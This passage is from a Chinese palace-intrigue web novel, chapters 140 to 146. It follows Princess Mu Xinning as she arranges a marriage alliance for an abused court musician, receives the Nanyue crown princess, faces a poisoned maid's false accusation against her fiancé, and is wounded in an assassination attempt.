大家的表演还算不错,慕馨宁有些心不在焉。 这时,之前曾替霖州求救慕馨宁的那个乐人上前,朝着慕馨宁行礼:“长公主,不知可有霖州的消息了?” 毕竟霖州失踪的事情,就是他第一时间传递给众人的。 慕馨宁打量他两眼,据说霖州没有入宫为乐人之前,和霖泉是师兄师弟的关系,霖泉能进乐府,都是霖州帮忙牵线的。 “做好你该做的事,其他事情不用你操心。”慕馨宁语气冷淡。 霖泉心里有些失望,为什么霖州可以得长公主看中,而他却都不曾得长公主的一个好脸。 “这两日,好像景阳宫那边有人经常来找霖州的麻烦。”霖泉犹豫了一下才又开口, 慕馨宁仿佛并未听见霖泉的话,霖泉有些欲言又止,只能将期望的目光落在霍承安身上。 相比慕馨宁,其实霍承安并未把霖州看的有多重要。 慕馨宁看了看外头的天色,犹豫了一下对霍承安道:“明日的表演怕霖州怕是无法上台,你再安排一个人顶替他的表演吧。” 霍承安有些吃惊,没想到慕馨宁竟然把这件事交给他来安排。 毕竟之前慕馨宁还是很看中霖州的表演的。 随即,他又想到什么。 慕馨宁看中的,估计不是什么表演,而是霖州那个人吧。 “长公主,府令大人,霖州找到了!” 下人匆匆来报,众人到时,霖州正在池塘里不停的搓洗自己的身体。 看见这一幕,慕馨宁有什么不明白的,霖州终究是遭了那老女人的毒手。 “他在干什么?”伊吾公主担心霖州的安危,见他水性不错,但举止古怪,一时间有些疑惑。 慕馨宁眼里闪过什么:“明日他的表演与荷塘有关,估计是在寻找灵感。” 等众人都退下,慕馨宁看着池塘里有些疯癫的霖州,开口问道:“你还想不想上来?” 霖州的眼睛红的几乎能滴血,他自嘲的一笑:“原本以为水性好是多了个保命的本事,现在我倒是想死都难……” 慕馨宁坐在池塘边,看着池塘里的月光笑了笑:“多大点事,又没少一块肉,那些个被迫出卖身体的人,要是像你这样,都不用活了。” 霖州咬牙,从池塘中心扑到慕馨宁跟前:“你能帮我杀了她的,是么?” 慕馨宁看着他身上的血痕,不答反问:“本宫若是帮你,你就不寻死了?” 霖州重重点头,脸上多了几分狠辣:“当然,我会助你一臂之力。” 慕馨宁:“合作愉快。” 霖州诧异,没想到慕馨宁竟然轻易就答应了他。 他低头,看了看自己狼狈的样子,声音嘶哑:“我知道,现在我留在京城很危险,所以,我打算去伊吾。” 就算慕馨宁有能力保他,他一个身份低贱的乐人也是不配的,太后不杀他,晏骁寒和永平帝也不会允许他的存在。 霖州的打算,慕馨宁并不意外,慕馨宁知道,这些日子伊吾公主一直想方设法接近霖州,又和霖州讲了许多伊吾的风土人情。 伊吾公主对霖州什么心思,不只是慕馨宁,很多看在眼里的人都猜到了。 伊吾虽然是个小国,但无论皇室还是百姓,都算的上团结友爱,相处和睦,霖州若是去了伊吾,或许能脱胎换骨。 “虽然你遭遇了不幸,但是和伊吾公主无关,本宫还是希望你不要迁怒无辜的人。” 霖州自嘲道:“我顶多也只能算她的男宠而已,有什么资格迁怒于她。” 慕馨宁摇头:“不,你会成为她的驸马。” 霖州一脸震惊:“我已经……就算没有发生这样的事情,一个小小乐人,如何配成为她的驸马?” 慕馨宁站起身,嘴角上扬:“徐太尉长子早逝,如今只有一个小儿子,子嗣单薄,正巧你可以以他第三子的身份认祖归宗,你要去伊吾和亲,皇上多少也会给你一些体面,封你个郡君,你做伊吾公主的驸马,就算得上是门当户对。” 霖州有些不可置信:“就算这边都能安排妥当,就算伊吾公主能接纳我,伊吾其他皇室之人,怕是会极力阻止吧?” 对伊吾而言,他只是个外人。 慕馨宁侧头,不经意看见远处阴沉着一张脸的晏骁寒,她让人将池塘里的霖州捞出来。 最后道:“伊吾来东陵就是为了借粮,皇兄借一万石,本宫看在你的面子上,借他们两万石,但是明面上只借他们三千石,其余一万七千石不用还,他们会给你该有的敬重。” 第141章 杀了奴吧 霖州大惊,愣愣的看着慕馨宁。 慕馨宁却不打算再跟他多言:“具体事宜,明日再说。” 说完,她抬步朝着晏骁寒走了过去。 晏骁寒打量四周,夜色昏暗,除了两个下人,就只有慕馨宁和霖州,孤男寡女,两个人又聊的十分投入,他们在聊什么? 霖州被太后逼迫,这个女人定是很心疼吧? 慕馨宁边走,边将自己的打算对晏骁寒说了。 晏骁寒看慕馨宁的目光,除了赞赏之外,更多了几分惊愕:“这种事情,你也能想得出来?” 慕馨宁:“当然,而且我准备在伊吾发展商业,或许能开辟一片新的天地。” 次日一大早,天还没亮,外头响起急切的敲门声。 慕馨宁的手还在晏骁寒的衣襟里。 毫不意外的,她又磨的晏骁寒留宿公主府了。 “何事?” 里头传来晏骁寒磁性的嗓音,敲门的刘营被吓了一跳。 “首辅大人,夜里时南岳使臣那边来信,今日巳时,南岳使臣入京,殿下是不是应该提前准备迎接事宜?” 晏骁寒衣襟半敞,露出健硕的胸膛。 他看了沉睡的慕馨宁一眼,替她盖好薄被:“去找礼部尚书,这件事要是办不好,他就主动请辞回乡下种地吧。” 刘营:“……是。” 晏骁寒起床穿戴时,慕馨宁就醒了。 她打了个哈欠,从床上起来:“今日宫里应该会很忙,你不能回来吃早饭,我让人都准备好了,你路上吃。” 晏骁寒没想到慕馨宁头一晚就安排好了他的吃食,而且都是他爱吃的。 今日早朝,繁琐事很多,但都在有条不紊的进行。 众人早就察觉到,今日的晏首辅又与往日不同,态度没有往常那般疏远,面色没有平日那般严肃,语气也没有从前那般冷傲,仿佛整个人从头到脚都温和了不少。 早朝时,有人提到与伊吾联姻一事,永平帝还有些懵。 当他知道一个乐人要入赘伊吾皇室做驸马之后,更懵。 他又知道,那个身份低微的乐人,是徐太尉流落在外的儿子之后,差点没从龙椅上摔下去。 但是这件事,对东陵而言,有益无害,何况做伊吾公主驸马的,只是一个小小的太尉之子。 伊吾缺粮,也只是暂时的,若是有朝一日伊吾能有所缓解,东陵未必得不到好处。 而且伊吾盛产瓷器和葡萄,若是在两国贸易上多用心,东陵也能赚上一笔。 早膳时,太后得知昨夜被自己蹂躏强迫的那个乐人,摇身一变成了太尉之子、和亲郡君之后,一口粥差点没吸进肺管子里。 “你说什么?”太后喝了口茶漱口,一脸诧异的看着王福。 王福面色凝重的点头:“太后娘娘,是真的。” 太后一时间回不过神来,昨夜她之所以留霖州一命,就是等着慕馨宁上门跟她‘算账’,到时候她就能拿捏慕馨宁的把柄,以报芝嬷嬷被打板子的仇。 一想到霖州那白皙滑嫩的肌肤,和他青涩稚嫩的身子,太后心里又是一阵春心荡漾。 她之所以留霖州一命,不只是想利用霖州对付慕馨宁,更因为……她还没玩儿够…… 没想到这个慕馨宁本事大的很,不但没来找她的麻烦,竟然将那个乐人摇身一变,成了和亲的郡君。 她又想到那个单纯痴傻的伊吾公主,眼底闪过一抹狡诈。 若是伊吾公主得知,慕馨宁给伊吾公主安排的夫君,是被她玩儿剩下的,估计会把慕馨宁扒皮抽筋吧? 到时候,她定会助那伊吾公主一臂之力。 原本大家都觉得宋菀菀和亲北赫的事情已经够突然了,当他们得知霖州要和亲伊吾之后,都是难以置信。 更让人难以置信的是,虽然霖州和亲伊吾事出突然,但是晏骁寒却发话,让礼部给霖州该有的体面。 毕竟宋菀菀要和亲北赫的时候,晏骁寒都从未过问。 宫里宫外忙翻天,不只要安排霖州和亲的事情,还要准备各国使臣的送行宴。 而且今日,南岳使臣又要入京,所以今日宫宴,不只是送行宴,还是南岳的接风宴。 慕馨宁也是忙的头昏脑涨,但还是要把迎接南岳皇太女的事情放在第一位。 毕竟,上一世唯一一个与她真心相待的朋友,就只有南岳皇太女一人。 只是惜南岳皇太女真心对她,可是她却因为太后和宋菀菀的挑拨,瞧不上南岳皇太女,甚至多次出言羞辱。 但是在她被幽禁时,南岳皇太女曾多次对她出手关照,甚至答应她想办法帮她摆脱幽禁的折磨,带她去南岳过三夫四侍的好日子。 只可惜,事情还没等实施,皇太女就被人算计惨死了。 此时,京城外,十里长亭,一队人马由远而近。 最前头的马车金雕玉砌十分华丽,一看便知,乘坐马车的主人定是身份不凡。。 忽然间,金雕玉砌的马车里,传出一声惨叫,一个人影就被人从马车里踹了出来。 那人狠狠地摔在地上,痛的眉头紧皱,抬头时,映入眼帘的,竟然是一张明媚妖冶的好容颜。 马车晃动几下,一身华丽锦衣的女子衣衫不整从里头出来。 她手里的鞭子直指地上的那个男子怒骂道:“混账东西,本太女都跟你说了,你是要去伺候长公主的,怎么还敢勾引本太女!” 上次分别时,她可是答应了阿宁,一定要寻一个南岳最俊美的男子送给阿宁。 还好她控制住了,要是阿宁知道她送给阿宁的男子是被她搞剩下的,阿宁肯定会跟她翻脸的! “皇太女殿下……容屿生是你的人,死是你的鬼,奴才不会去伺候那个臭名昭著的长公主,您若是执意如此,还是杀了奴吧……” 第142章 你男人也是我男人 那位自称容屿的男子说着,便伸长了脖子闭上了眼,一副要赴死的样子。 纳兰倾从马车上跳下来,盯着容屿看了片刻:“杀了你怎么能行。” 她蹲下身,又仔细端详容屿许久,这才松了一口气:“幸好没伤到脸,不然怎么把你送给阿宁。” 容屿眼睛微红,男人看了都会心动,可纳兰倾心一横便对一旁的侍卫道:“为了避免他自寻死路,把人绑了吧先。” 她看着容屿拼命挣扎,只能好声劝道:“我跟你说,虽然阿宁她脾气暴躁了些,不识好歹了些,又没什么本事,但是人还是不赖的……” “她无才无德,好色成性,就她那样的女人,给皇太女提鞋都不配!” 纳兰倾脸色瞬间难看,手里的鞭子狠狠地朝着容屿甩了过去,却在鞭子即将抽到他身上的时候,又收了回去。 万一见了血,阿宁不喜欢怎么办? 京城,城门口。 慕馨宁生怕自己来晚了,耽误了迎接纳兰倾,结果等了大半个时辰,也没看见人影。 慕馨宁看了看头顶火辣辣的太阳:“南岳使臣是不是已经到梧台了?” 鸦羽连忙道:“属下已经问过了,南岳使臣并未入城。” 想到某种可能,慕馨宁差点翻白眼,没准纳兰倾此时正在和哪个美男翻云覆雨呢。 “会不会路上遇见了什么危险,不然还是派人出城瞧瞧。” 礼部尚书用袖子擦了擦油汗交加的脑门,一脸痛苦,他最怕热了,南岳使臣再不进城,他都要被烤熟了。 “来了,来了!” 这时,有人高喊一声,终于看见城门口最前头那一辆华丽的马车。 “哎呦哟,这也太有钱了吧!” 众人一看见那金灿灿,散发着十足富贵之气的马车,感觉双眼都要被亮瞎了。 “可不是,你们没听说吗,那南岳几乎是寸土寸金,就摔个跟头,也能在地里头抠出金子来!” 众人议论纷纷,慕馨宁带着众人往前走了几步。 南岳使臣的队伍停下,纳兰倾利落的跳下了马车。 “阿宁!”老远看见慕馨宁,纳兰倾开心的加快了步伐。 慕馨宁就站在那里,看着纳兰倾越走越近。 她的身影,与上一世重叠。 “你们这些个狗奴才,竟然如此作践阿宁,真是该死,来人啊……把他们扒皮抽筋,丢进油锅里!” “阿宁你别怕,你再忍忍,我肯定会救你出去。” “到时候你跟我去南岳,我给你搜罗南岳最俊美的男子伺候你,一个给你洗脚,一个给你按摩……一个陪你睡觉……” 不知不觉,慕馨宁已经红了眼眶。 纳兰倾走到慕馨宁面前,忽然又想起什么,不等慕馨宁开口,又折了回去。 “来人,把我给阿宁准备的见面礼带上来!” 慕馨宁看见面前忽然出现的美男,一时间有些疑惑。 “这是做什么?” 纳兰倾大咧咧的一笑:“上次答应你送你的,算得上我南岳最俊美的男人,怎么样,是不是比你们东陵的强?” 南岳和东陵几国的不同,就是因为南岳以女子为尊,女子是天,而男人,就是攀附女人而活的菟丝花。 在外表上,东陵的男人以健硕 勇猛为傲,而南岳的男人,以清瘦温柔为傲。 容屿一脸幽怨,在看慕馨宁的时候,那眼神里满是厌恶和嫌弃:“慕馨宁,就你这种品行恶劣,作恶多端的女人,我就是死,也不会让你碰我的!” 慕馨宁将容屿的表情尽收眼底,似笑非笑:“就你,也配?” 见过不要脸的女人,还从未见过如此不要脸的男人,他哪里觉得自己会看上他这样的货色? “你胡说什么,再敢对阿宁不敬,老子我扒了你的皮!”纳兰倾脸色难看,一把揪住容屿的头发警告。 然后,她又对慕馨宁陪笑:“阿宁你别生气,这男人太温顺也没意思,就这种贞洁烈男,你玩儿着更有滋味!” 慕馨宁:“……” 慕馨宁原本还想多打量容屿两眼,看看这南岳第一美男是何姿容,忽然,她的袖子被人用力扯了两下。 慕馨宁诧异的看向一旁的杜若,杜若朝着某个方向努了努嘴。 慕馨宁诧异的抬头,就看见不远处马背上,一身紫色朝服的男人。 慕馨宁脸上的笑顿时灿烂几分,挤出人群到晏骁寒面前。 “你怎么来了,宫里不是有很多事情要忙?” 马背上的晏骁寒居高临下的打量她:“本官不来,你岂不是就忘了你是谁?” 原本,众人的目光都在南岳皇太女和容屿的身上。 可是这晏骁寒一来,就吸引了所有人的目光。 慕馨宁也感受到了不少嫉妒和羡慕的眼神。 她清了清嗓子,压低了声音:“我没忘,你我有婚约,我这不是在例行公事。” 晏骁寒微微弯腰,声音也低沉几分:“收了南岳皇太女给你的见面礼,也算例行公事?” 慕馨宁嘿嘿一笑,扯着晏骁寒的衣襟让他下马,拉着人走到纳兰倾跟前。 纳兰倾看见晏骁寒那张人神共愤的俊脸,嘴角的口水都要流下来了。 原本以自己容貌为傲的容屿,在看见晏骁寒之后,顿时也觉得有些自残形愧。 “跟你们介绍一下,晏骁寒,我未婚夫。” 来接待南岳的官员们,见了晏骁寒,齐刷刷的恭敬行礼:“见过首辅大人!” 晏骁寒的目光,落在面前的容屿身上。 此时的容屿,手上还被绑着绳子,一看就是被强迫的。 晏骁寒语气冷淡:“这种货色,还是皇太女自己留着吧。” 慕馨宁看着纳兰倾眼睛都要黏在晏骁寒身上了,有意无意的直接将晏骁寒挡在身后,然后跟众人客套:“南岳使臣舟车劳顿,定也累坏了,梧台已经备好酒席,诸位请……” 纳兰倾吞了吞口水,一把拉住慕馨宁的胳膊,眨着眼睛一本正经的问:“你说,我们是不是至交好友?” 慕馨宁回想了一下,肯定的点头, 纳兰倾:“同甘共苦的至交好友?” 慕馨宁点头,点到一半,忽然感觉哪里不对,看着纳兰倾眼里闪过的狡黠,就听她道:“你男人,也是我男人,一三五七九归你,二十六八十归我……” 第143章 怒不可遏 慕馨宁皱眉,一把推开纳兰倾:“脸怎么这么大,再敢惦记他,别怪我对你不客气。” 看着晏骁寒修长挺拔的身影,纳兰倾眼睛都要掉出来了:“这样,我就睡一晚,我所有的男人都归你,你要是觉得不够,我再给你搜罗百八十……” 慕馨宁面色不大好了,她强忍着揪纳兰倾衣领的冲动:“我就是死,你也别想动他一根汗毛,不然别怪我跟你翻脸。” 纳兰倾看慕馨宁的眼神,满是失望:“亏我满南岳给你搜罗第一美男,你都不知道这一路我忍的多难受,哪怕给自己喝安眠汤,都没舍得碰容屿一下,就想着让你先尝鲜,你倒是好。” 有了好男人也不给她尝尝,果然是重色轻友! 一路上,慕馨宁听着纳兰倾絮絮叨叨,简直是忍耐到了极致。 慕馨宁翻了个白眼:“别人都行,就他不行,你若是再多嘴,他杀你的时候,我可不拦着。” 晏骁寒那要杀人的目光,她都快承受不住了,也就是纳兰倾,一心扑在男色上,连自己的小命都忽略了。 纳兰倾脚步一顿,一抬头,果然看见了晏骁寒杀气腾腾的眼神。 可是,她更在意的是:“简直就是神仙下凡,要是跟他云雨一番,我就是死,也值了……” 到了梧台,慕馨宁见晏骁寒竟然还没有要离开的意思,只能凑到他跟前。 慕馨宁:“……你怎么还不走。” 晏骁寒嘴角上扬:“怎么?” 慕馨宁回头,看纳兰倾那贼兮兮的目光,连忙将人拉到一旁:“宫里肯定还有很多事要处理,你在这里也没什么大事。” 万一一个不小心,这厮再着了纳兰倾的道,她哭都没地方。 “你跟我一起走。” 万一这女人一个不安分,和别的男人厮混到一起,他杀也不是,留也不是。 慕馨宁有些犹豫:“不好吧。” 纳兰倾不但是南岳皇太女,还是她唯一的朋友,人家刚来,就把人晾在梧台,于情于理都不合适。 晏骁寒忽然抬手,就有好几个男子进来,他们个个容貌俊美,让人忍不住心生缱绻。 慕馨宁看的都要吞口水了,晏骁寒忽然咳嗽一声。 慕馨宁回神,眼睁睁看着好几个美男到了纳兰倾跟前。 虽然这几个各方面都不如晏骁寒,但是无论如何总比看得见摸不着强,纳兰倾已经暂且将那个不切实际的期待抛向脑后,搂着一个俊美男子就狠狠地亲了一口,然后就将人往自己房间里拖。 慕馨宁一时间心里复杂,有时候,她还挺羡慕纳兰倾的。 “可以跟我走了?” 晏骁寒的声音在她耳边回响,感受到耳畔温热的呼吸,慕馨宁心跳慢了半拍。 现在纳兰倾一门心思在那种事情上,哪还有时间责怪慕馨宁招待不周。 慕馨宁点头,跟晏骁寒进宫处理其他事情。 马车里,被慕馨宁蹂躏的衣衫不整的晏骁寒,有些无奈:“这就是你非让我与你一同乘坐马车的原因?” 慕馨宁不停吸着他身上那股诱人的冷香,像是一个吸人精气的妖怪。 慕馨宁不答反问:“我们什么时候能在一起,今晚行不行?” 要不是宫里还有要事处理,她恨不得现在就把眼前的男人吃干抹净。 晏骁寒被她纠缠的不行,本想离她远些,发冠不经意碰到一旁的车壁,发簪滑落,一头如瀑布般的黑发散落下来。 慕馨宁倒吸一口凉气,还别说,这厮束发的时候,清冷矜贵,些头发一散下来,就多了几分妖娆和魅惑。 可是比那个叫什么容屿的,强了千百倍。 慕馨宁如饥似渴,她扑过去,将人压在身下,手伸进他的衣襟:“要不然我们现在……” “殿下,到宫门口了。” 慕馨宁话还没说完,外头传来车夫恭敬的声音。 晏骁寒脸色有些冷,小几上的铜镜里,反射出他不堪的模样,他有些咬牙:“慕馨宁,我是不是对你太好了?” 慕馨宁灌了两口凉茶,心头正燃烧的欲望才散去了些:“别生气,我给你梳,我梳头技术最好了!” 她白皙柔软的手穿进他如墨的长发,片刻之后,铜镜里就出现一个衣冠整齐的俊美人影。 “怎么样,满意吗?”慕馨宁拿着铜镜凑到晏骁寒跟前,让他更清晰的看清自己的发型。 原本慕馨宁还为自己的手艺怡然自得,当她看见晏骁寒带着寒霜的俊脸,顿时有些懵:“怎么了?” 晏骁寒带着冰碴的目光落在她身上:“除了我,还给谁束过发!” 否则,这女人束发的技术,怎么会如此娴熟。 就看他两鬓整齐规整的八股辫,他的脸色越来越难看,这不是一个闺阁女子该会的手艺。 一想起她曾养过那么多男宠,就算她可以洁身自好,也很难抗拒别人的主动吧? 忽然想起,曾经的的夏千川,好像就梳过他这般的发髻,晏骁寒的脸色更冷。 慕馨宁吞了吞口水,有些心虚:“就……就你一人……” 夏千川入府那时候,她不表现的对夏千川情深意浓,怎么把其他男宠赶出府? 束发怎么了,又没跟夏千川睡一块。 “你信?” 晏骁寒没有忽略她眼里闪过的心虚,他怒不可遏,当即面色阴沉的下了马车,头也不回的进了宫门。 慕馨宁看了看自己的双手,别提多后悔了:“你说说你,怎么这么欠!” 刚到琼华殿,慕馨宁就看见了一副姐妹情深的画面。 崔惜颜将一个红漆雕花盒子递到宋菀菀手里:“表妹就要远嫁,我这也没什么值钱的东西,但这也是我的一片心意,还请表妹不要嫌弃。” 崔惜颜说着,就将面前的盒子打开,露出里头价值不菲的珠宝来。 宋菀菀眼睛一亮:“多谢表姐,你放心,将来我定不会忘记表姐对我的一片真情。” 这时,崔惜颜的目光落在走来的慕馨宁身上,她笑道:“我送你的东西,肯定是不如长公主的贵重,也不知道长公主都送了表妹什么好东西?” 第144章 晏骁寒的孩子 宋菀菀不说话,看慕馨宁的目光,似乎有了几分期待。 该死的,也不知道永平帝抽什么风,她可是要嫁去北赫做太孙妃的,那将来就是北赫的皇后。 可是永平帝却以国库空虚,宫中应节省开支为由,将她所有的嫁妆规格削减了大半。 就连那个身份低贱的霖州,‘陪嫁’的东西都比她这个公主多,她不相信这件事跟慕馨宁没有关系! 前些日子,母后的金矿那边又出了问题,能给她添置的嫁妆就更少了,这若是她到了北赫。让人看见她就带了那么点嫁妆,岂不是要笑掉大牙。 更可气的是,赫连儒给的聘礼,竟然还不如京中寻常千金的聘礼多,说什么来东陵匆忙,准备的过于仓促,就这么把她给打发了! 所以她现在,她是不得不把希望寄托在慕馨宁身上,盼着慕馨宁好歹出手大方一些,让她能撑撑脸面。 慕馨宁明知道两个人是在阴阳她,她却装糊涂,她看向宋菀菀,一脸疑惑:“惠明公主,这是心甘情愿嫁到北赫了?” 宋菀菀咬牙,原本她是不愿意的,可是母后多次劝说,她也只能认命。 母后答应了她,将来有一日,易王若是登上皇位,那除了母后,拥有无上殊荣的,就是她定国长公主。 到时候,她一定让慕馨宁生不如死。 至于晏骁寒,迟早会是她的群下之臣! “当然,能为皇兄分忧,能为东陵尽一份绵薄之力,也是我这个公主应该做的。”宋菀菀收回思绪,这话说的一副大义凛然的样子。 慕馨宁看着宋菀菀的表情,多了几分赞赏,可这话却很难听:“受了百姓这么多年的供养,这也是你应该做的。” 宋菀菀气的浑身哆嗦,就要和慕馨宁翻脸。 崔惜颜想起什么,给了宋菀菀一个安抚的眼神,又提起之前的话题:“长公主,表妹就要远嫁北赫,你肯定也给表妹添置了不少嫁妆,不如让我开开眼?” 她说着,周围好多千金小姐也围了上来。 慕馨宁面不改色:“公主府的添妆都在礼部的账面上,你们若是好奇,不如直接问礼部的人。” 崔惜颜一脸诧异:“账面是属于例行公事,这私下添妆才能表达自己的心意,长公主不会什么都没给表妹准备吧?” 她这么一说,众人看慕馨宁的眼神都不大好了。 杜若忍不住,当即冷哼一声:“崔小姐这话说的,好像你给惠明公主的嫁妆能上得去礼部的陪嫁单一样。” 此话一出,崔惜颜的脸色顿时难看起来。 杜若说的也没错,她不过一个侯府小姐,就算拿出天价的添妆,也是上不得礼部的陪嫁单子的,她不是身份尊贵的公主,也不是什么大户人家的当家主母。 她只是国公府世子没过门的侧妃,说难听点,就是一个体面的妾而已。 “长公主,我好歹也是侯府千金,未来世子侧妃,你就任由你的丫鬟如此羞辱我?”崔惜颜捏着帕子,咬牙切齿。 之前她不止一次想要杀杜若这个贱婢,可是杜若从来不单独出府,她想下手也没机会,这才让这个贱婢活到了现在。 慕馨宁诧异:“本宫不觉得她哪里羞辱了你,该不会是崔小姐你,自取其辱吧?” 围观的小姐们噗嗤一下笑出声来,看崔惜颜的目光,多了几分嘲弄。 宋菀菀感受到崔惜颜的目光,只能想法子替崔惜颜解围,她红了眼睛,哽咽着道:“惠明也不知道到底哪里得罪了长公主,以前我们可是好的形影不离,同床而眠。” “如今我就要嫁到北赫联姻,我们姐妹将来也不知道什么时候才能再相见了,若是以前哪里得罪了长公主,还请长公主恕罪,不要跟我计较……” 本以为她放低身段,给了慕馨宁该有体面,慕馨宁好歹也能给她几分面子。 然后,慕馨宁也能做做面子功夫,为她添一些体面的嫁妆。 毕竟,慕馨宁送给晏骁寒那些‘聘礼’简直是天价,各种珍宝,都能买下京城的一条街。 宋菀菀都在琢磨慕馨宁能送给自己什么贵重的礼物,却听慕馨宁道:“不知道哪里得罪了本宫,那就好好反思吧,本宫不旧事重提,已经算是很给你脸面了。” 说完,慕馨宁带着杜若就离开了。 宋菀菀看着慕馨宁渐行渐远的身影。脸都有些扭曲,既然慕馨宁不给她脸面,那在她临走之前,应该送给她一份大礼才是。 她侧头,看向身后的下人,下人领命,悄悄退出了人群。 整整一下午的时间,晏骁寒理都没理过慕馨宁,哪怕两个人擦肩而过,他连个眼神都不给。 慕馨宁不经意的发现,他不但换了一身衣服,还重新梳了头发,这心里别提多不是滋味了。 “怎么了,他不会这么快就抛弃你了吧?” 南岳使臣不知什么时候已经入宫,纳兰倾看慕馨宁一副失魂落魄的样子,上前打趣。 慕馨宁没精打采的看向她:“别惹我,晚上去公主府,咱们一醉方休。” 晚宴在有条不紊的进行,即使今晚的酒再好喝,台上的表演再精彩,看着晏骁寒冰冷的侧脸,慕馨宁是半点心情也没有。 台上的‘魔术’惹得大家一阵心惊肉跳,随即又是一阵喝彩。 慕馨宁扒拉着碟子里的吃食,已经开始在打瞌睡。 “长公主,奴婢见过长公主……” 就在慕馨宁犹豫,要不要先找个地方休息,等晚宴结束再来走个过场时,一个大着肚子的宫女忽然冲到了慕馨宁跟前。 慕馨宁吓了一跳,杜若连忙将那宫女拦下:“你做什么?” 那宫女直接跪在慕馨宁跟前,咚咚咚的朝着慕馨宁磕头:“长公主,六个月前,首辅大人醉酒……让奴婢服侍,却没想到奴婢竟然怀了首辅大人的孩子……首辅大人跟奴婢说,只要您答应将奴婢的孩子过继在自己名下,就能给奴婢一个名分……” 第145章 玩儿剩下的 周围渐渐安静下来,慕馨宁看着眼前的宫女泪流满面,一脸懵,她怀疑自己是做梦,又或者困糊涂了。 她不确定的看向晏骁寒,见晏骁寒脸色阴沉,却没有任何表示。 慕馨宁脸色一白,心里刺痛:“你说的,是真的?” 那宫女点头,从身上取出一个物件:“这是首辅大人的腰带……” 慕馨宁心里五味杂陈,哪怕她用尽手段,晏骁寒从未和她越过最后一步,原来他已经跟别的女人睡过了? 慕馨宁觉得不可能,感受着众人的目光,她盯着那宫女瞧了半天:“你说他跟你……这宫里的女子那么多,为什么偏偏是你呢?” 那宫女擦了一把眼泪:“首辅大人醉酒,一直叫奴婢‘玲珑’,或许是把奴婢当成了他曾经的挚爱吧……” 一声脆响,众人看见晏骁寒手里的酒杯,被他捏的粉碎。 他周身都散发着杀气,众人大气都不敢喘,生怕惹得首辅大人不快。 一听见‘玲珑’两个字,慕馨宁脸色更白了几分,她知道这个名字,听说那个叫玲珑的女子,曾是晏骁寒的未婚妻。 晏骁寒进京赶考时,答应了那女子,只要他高中,就会八抬大轿迎娶那个女子为妻。 只可惜,晏骁寒刚回老家,却得知了那女子病逝的消息。 慕馨宁心中苦笑,所以上一世,他孑然一身,是在为那个所谓的未婚妻,守身如玉? “这种事情,本宫做不得主,本宫只不过是他没有过门的未婚妻而已,你还是去求求首辅大人,让他给你名分吧。” 慕馨宁有些心痛,起身想出去透透气。 就在这时,那个跪在她跟前的宫女,吐出一口黑血来。 慕馨宁脸色一变,连忙后退。 那宫女捂着肚子,痛苦的看向远处的晏骁寒:“首辅大人,你好狠的心……怪不得你给我送了糕点,原来是下了毒……” 琼华殿里一阵沸腾,他们看晏骁寒的目光都是一脸惊愕。 一人之下万人之上的首辅大人,为了自己的体面,竟然亲手杀死了自己睡过的女人,和她腹中的孩子么? “太医,传太医给她瞧瞧。”慕馨宁丢下这句话,就出了琼华殿,不再管身后的嘈杂。 至于宫中宴会如何收尾,各国使臣是否招待不周,她都不想管了。 她出了宫,打算回府。 杜若抹了一把眼泪,还在劝:“主子你也不能听那个宫女胡说,没准那些都是那个宫女胡编乱造的,就是为了挑拨您和首辅大人的关系……” 慕馨宁不是没想到这个可能,但是,她还是说服不了自己。 不知什么时候,她把晏骁寒看的那么重了。 慕馨宁只想回府,静一静。 她想着,等她看清眼前的形势,就不会再对晏骁寒儿女情长。 其实一开始,她就不该对晏骁寒动情的。 就在她情绪低落沉浸在自己的世界里是,马车忽然一阵颠簸。 “有刺客……”车夫惊恐的喊了一声,一支利箭便将他射了个对穿。 慕馨宁本想掀开车帘看明情况,好几支箭朝着她射了过来,一支狠狠地刺进了她的右侧胸口。 杜若吓得差点哭出声来,一把抱住要倒下的慕馨宁:“主子,主子你怎么样了,你别吓奴婢……” 今日宫中大宴,刘营带着许多人都在维持宫里的秩序,同时还要警惕宫宴上的吃食被动手脚。 所以慕馨宁从宫里出来,只带了鸦羽和几个暗卫而已。 若是这场刺杀人手很多,那他们怕是必死无疑了。 慕馨宁有些吃力的摸了摸自己的胸口:“药……” 话没说完,她人就没了知觉,闭眼前,只听见外头打斗的声音。 时间在一点一滴的流逝,原本还灿烂的星空,此时已经乌云密布,大滴大滴的雨点落了下来。 慕馨宁是被痛醒的,她一睁眼,就看见玄翎面色凝重的在给她拔剑。 一旁的老头急的团团转,嘴里还不停的念叨:“轻一些,轻一些,我说直接推进去从她后背将箭拔出来,你非要从前头抜,这不得疼死她?” 玄翎脸上都是汗,手上的动作有些迟疑:“若是从前头抜,后面不留伤口,若是刺个对穿落了疤,她再恨我怎么办?” 幸好他及时出现,若是晚了一步,估计只能给阿宁收尸了,现在回想起来,都有些后怕。 “怎样方便怎么来……”慕馨宁吃力的吸了口气,才找回自己的声音。 玄翎见她醒了,悬着的心也落下了:“那你忍着点。” 这一次,玄翎干脆利落,将手里的箭刺了个对穿。 慕馨宁痛呼一声,人直接昏死了过去。 而此时,皇宫里的晚宴也接近了尾声。 御花园里,伊吾公主被拦住了去路。 “你不会觉得,那个霖州,是个什么好东西吧?” 曾经是乐府舞姬的柳滟,此时一身华贵的才人宫装,贵气逼人。 伊吾公主脸色不好:“你想跟我说什么?” 柳滟看着伊吾公主的目光多了几分轻蔑和嘲讽:“慕馨宁只顾着利用霖州去你们伊吾捞好处,可是从未顾及过你的脸面,你还不知道吧,那个霖州,可是被上头那位玩儿剩下的……” 柳滟不提是谁,但是谁也不重要,重要的是,伊吾公主深爱的男人,是别人玩儿过的破烂货。 霖州原本担忧伊吾公主的安危,所以和旧友客套两句就追了上来,当他听见柳滟和伊吾公主的对话之后,身子一晃,别点跌进一旁的花丛里。 伊吾公主眼里闪过什么,语气平淡:“看你这身打扮,应该也算不得妃位吧,你身份卑微,竟然还想挑起两国的矛盾,让我伊吾和东陵生了嫌隙,这要是被东陵皇帝知道,不知你能不能担得起这个后果?” 柳滟幸灾乐祸的表情一僵:“你不生气么,你不恨慕馨宁么,你不想杀了那个低贱的乐人?” 伊吾公主脸色一变,狠狠地给了柳滟一个耳光:“你算个什么东西,本公主凭什么相信你的话,你若是再敢胡言乱语,信不信本宫将你说的话告诉东陵皇上?” 柳滟捂着火辣辣的侧脸,震惊的看着伊吾公主,半天说不出话来。 “不识好歹,那你就等着被慕馨宁算计的国破家亡吧!”她丢下这句话,就愤怒的离开。 伊吾公主听见了细微的声音,她一回头,就看见了树丛后面的霖州。 感受到伊吾公主的目光,霖州面无血色,犹如一个木偶一样上前:“你……” 第146章 大手笔 